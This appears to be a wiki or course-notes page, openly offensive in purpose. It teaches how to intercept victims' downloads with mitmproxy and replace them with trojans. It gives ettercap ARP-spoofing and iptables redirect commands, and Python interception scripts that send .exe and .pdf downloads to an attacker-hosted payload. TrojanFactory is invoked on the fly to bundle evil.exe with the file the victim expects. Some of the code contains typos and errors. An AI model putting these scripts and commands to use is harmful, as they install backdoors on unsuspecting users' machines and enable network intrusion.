

# MITM scripts

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MITMproxy scripting wiki page: <https://docs.mitmproxy.org/stable/>

I will use MITM scripts for modifying responses captured by mitmproxy web gui when user download some file, .exe file or any other file. I will modify them to contain my trojan to open backdoor to the target systém.

MITMproxy and mitmdump does not support feature to modify downloaded file by user. But MITMproxy has a scripting API. Python code can be used to interact with MITMproxy. Python is a very powerful programming language. Python + MITMproxy = very powerful MITM scripts.

In mitmproxy web gui, after filter .exe, you should see request and response of file that users downloaded. With next script we screate our own response with trojan file. You do not have to know real response (used in one-way arp spoofing).

## Capturing and printing Request/Responses

from mitmproxy import http

# flow is a container where all data is stored

def request(flow):

#Code to handle request flows

print(flow)

def response(flow):

#Code to handle response flows

print(flow)

Run the mitmproxy with this script

\$ ./mitmdump -s /root/basic.py

# Filtering, generating custom http response

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## Filtering and extracting useful data

In the code from previous page you can delete response function, because we are interested only in requests. We will make our own responses. We will filter packets which url ends with .exe

```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    print(flow.request)
```

Run the mitmproxy with this script and download a file from browser. (Clear cache first)

```
$ ./mitmdump -s /root/basic.py
```

## Using conditions to execute code on useful flows

```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    if flow.request.pretty_url.endswith(".exe"):
        print("This is a request")
        print(flow)
```

## Generating custom http responses

HTTP 301: [https://en.wikipedia.org/wiki/HTTP\\_301](https://en.wikipedia.org/wiki/HTTP_301)

```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    if flow.request.pretty_url.endswith(".exe"):
        print("This is a request")
        #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
        # redirect user to download exe file from http://YOUR\_IP/file.exe
        mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR\_IP/file.exe" })
```

# Testing script locally

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```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    if flow.request.pretty_url.endswith(".exe"):
        print("This is a request")
        #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
        # redirect user to download exe file from http://YOUR\_IP/file.exe
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR\_IP/file.exe" })
```

When try this, the page will be stuck because it will redirecting again and again, fix this with following.

```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".exe"):
        print("This is a request")
        #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
        # redirect user to download exe file from http://YOUR\_IP/file.exe
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR\_IP/file.exe" })
```

# Generating trojans

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## Installing the trojan factory

GitHub repo: <https://github.com/z00z/TrojanFactory>

A trojan is a file that looks and functions as a normal file (image, pdf, song, ..etc). When executed it opens normal file that the user expects and executes evil code in the background (run a backdoor/keylogger, ..etc). Therefore it is great to social engineer the target into running our evil code.

On <https://github.com/z00z/TrojanFactory> bottom is a link to <https://www.autoitscript.com/site/autoit/downloads/> where you can download AutoIt.

```
$ cd Downloads & ls
# use wine to run the exe file and install it
$ wine AutoIt*.exe
$ cd /opt & ls
$ git clone https://github.com/z00z/TrojanFactory.git
$ cd TrojanFactory & ls
$ python tronjan_factory.py --help
```

## Converting any file to a trojan (for example an image)

Combine evil file with normal file (image, book, song, ..etc). Configure evil file to run silently in the background. Change file icon. Change file extension.

```
$ tronjan_factory.py --help
# you need to have prepared trojan file (described in social engineering section), trojan file must be
stored on your /var/www/html and apache server is running, also you can add an icon
$ tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://YOUR\_IP/evil.exe -
o /var/www/html/ReadMe.exe -i /root/Downloads/pdf.ico
# if you use -z at the end of above command, the trojan will be stored in zip archive
# your trojan file is now stored in /var/www/html/ReadMe.exe
```

# Testing script on remote computer

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```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
        print("This is a request")
        #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
        # redirect user to download exe file from http://YOUR\_IP/file.exe
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR\_IP/Index.zip" })
```

Become MITM. With ettercap use following.

```
$ ettercap -Tq -M arp:remote -i eth0 -S /TARGET// /GATEWAY//
```

```
# in new terminal window run following
```

```
$ ./mitmdump -s /root/SCRIPT.py --transparent
```

```
# in new terminal window run following
```

```
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Lets go to window machine and search for sample pdf in google. Once the target open a url it will be asked to download Index.zip file. This still seems very suspicious.

# Generating trojans on the fly

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## Executing bash commands & calling trojan factory from our script

Intercept and replace downloads. Combine any file with an evil file. Write MITMproxy scripts. Lets combine all of this. Replace files the user downloads with a trojan that will run the file they expect + our evil file.

This will create a trojan that will look exactly the same as users expects.

```
from mitmproxy import http
def request(flow):
    #Code to handle request flows
    if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
        print("This is a request")

        subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f
https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://YOUR\_IP/evil.exe -o /var/www/html/ReadMe.exe -i
/root/Downloads/pdf.ico -z", shell=True)

    #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
    # redirect user to download exe file from http://YOUR\_IP/file.exe
    flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR\_IP/Index.zip" })
```

## Using variables & more complex conditions

```
import mitmproxy
Import subprocess
def request(flow):
    #Code to handle request flows
    if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
        print("This is a request")

        front_file = flow.request.pretty_url + "#"

        subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f " + front_file + " -e
http://YOUR\_IP/evil.exe -o /var/www/html/file.exe# -i /root/Downloads/pdf.ico -z", shell=True)

    #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
    # redirect user to download exe file from http://YOUR\_IP/file.exe
    flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR\_IP/Index.zip" })
```

# Converting downloads to trojan

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## Converting downloads to trojans on the fly

```
import mitmproxy
```

```
import subprocess
```

```
def request(flow):
```

```
    #Code to handle request flows
```

```
    if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
```

```
        print("This is a request")
```

```
        front_file = flow.request.pretty_url + ".ico"
```

```
        subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f '" + front_file + "' -e  
http://YOUR\_IP/evil.exe -o /var/www/html/file.exe# -i /root/Downloads/pdf.ico -z", shell=True)
```

```
        #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
```

```
        # redirect user to download exe file from http://YOUR\_IP/file.exe
```

```
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" :  
"http://YOUR\_IP/Index.zip"
```

# The Trojan Factory's MITMproxy script

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We still have a problem that the filename of downloaded file is file.exe. For this TrojanFactory comes with script mitmproxy\_script.py. It is based on the script created previously. Extra features are proper implementation of Trojan Factory, supports multiple file types, spoof file extensions on the fly, adds appropriate icon on the fly.

## Configuring the trojan factory's MITMproxy script

Open the /opt/TrojanFactory/mitmproxy\_script.py and set IP, TARGET\_EXTENSIONS, EVIL\_FILE, WEB\_ROOT and SPOOF\_EXTENSION. This file is very similar to file I have been building in previous pages. Evil\_file link must end with #. There are also some icons in folder icons. You can add more, but it must have extension .ico and its name must be the name of filetype. Example mp4.ico.

## Using the trojan factory's MITMproxy script

```
$ cd /opt/mitmproxy
$ ./mitmdump -s /opt/TrojanFactory/mitmproxy_script.py --transparent
# in new terminal window become the MITM
$ ettercap -Tq -M arp:remote -i eth0 -S /TARGET// /GATEWAY//
# in new terminal window run following
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Let's go to the victim machine and test this.